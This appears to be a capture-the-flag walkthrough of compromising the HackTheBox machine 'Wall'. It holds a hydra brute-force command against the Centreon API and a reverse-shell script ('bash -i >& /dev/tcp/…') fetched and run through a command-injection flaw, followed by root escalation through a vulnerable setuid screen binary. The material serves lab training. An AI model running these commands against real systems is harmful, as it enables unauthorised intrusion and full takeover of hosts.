The initial nmap scan for the HackTheBox machine “Wall” only reveled two open ports:
Nmap scan report for 10.10.10.157 Host is up (0.056s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
The website on port 80 was the Debian standard welcome page, nothing interesting there.
dirb against the target got back those paths and files:
aa.php panel.php monitoring/
aa.php just displayed the number “1”. And
panel.php only displayed the text “Just a test for php file !”.
Any file requested under monitoring asked for username and password.
This took me a while to figure out, but the password was only requested for GET requests, if a POST request was sent, this was the result:
HTTP/1.1 200 OK Date: Fri, 04 Oct 2019 11:26:09 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Wed, 03 Jul 2019 22:47:23 GMT ETag: "9a-58ccea50ba4c6-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 154 Connection: close Content-Type: text/html <h1>This page is not ready yet !</h1> <h2>We should redirect you to the required page !</h2> <meta http-equiv="refresh" content="0; URL='/centreon'" />
With that we found a new path:
Centreon is a monitoring software based on Nagios. Checking for past vulnerabilities, there comes up a remote code execution – but it requires authentication first.
Having exceeded all options I tried to brute-force the password. Checking their documentation we can figure out that the default username is “admin”. And that they also offer an API. We use the API to brute-force the password since the WebUI uses CSRF tokens.
Using hydra we brute-force the password:
hydra -l admin -P /usr/share/wordlists/rockyou.txt -V 10.10.10.157 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:F=Bad" -I [http-post-form] host: 10.10.10.157 login: admin password: password1
Now that we got credentials I’ve tried to use the RCE vulnerability (CVE-2019-13024).
I’ve spent a ton of time on this but I couldn’t make it work. There is a filter in place which responds with 403 errors when a space is in the payload. And even when I tried to circumvent that, it didn’t work.
After a while I found CVE-2019-17501, this is much easier. The filter appears not to be active there. So we navigate to Configuration -> Commands -> Discovery
Here we get a box in which we can simply enter commands and using the blue play button next to “Argument Example” we can directly execute those.
Still, spawning directly a reverse-shell was not possible since some characters were escaped. To get around this, I’ve started a local webserver and placed the file
rev.sh in its root with this content:
#!/bin/bash bash -i >& /dev/tcp/10.10.14.9/2222 0>&1
Next we enter the following command into the command line field:
And execute it:
Now the reverse shell is on the system. We start a local netcat listener already by running
nc -vnlp 2222 and repeat the steps above but now simply run
bash /tmp/rev.sh instead of the wget.
With that we get a connect back from the server:
Running the linux smart enumeration script shows us that there is a uncommon setuid binary:
For this exact version there is a vulnerability that allows to escalate to root. I was first trying to use this vulnerability to drop a file in
/etc/sudoers.d to escalate privileges, but the file was always either not written or had too wide permissions for sudo to accept it.
Instead I used the PoC from here https://github.com/XiphosResearch/exploits/tree/master/screen2root to simply get a root shell:
And that gives us a root shell with which we can get both flags.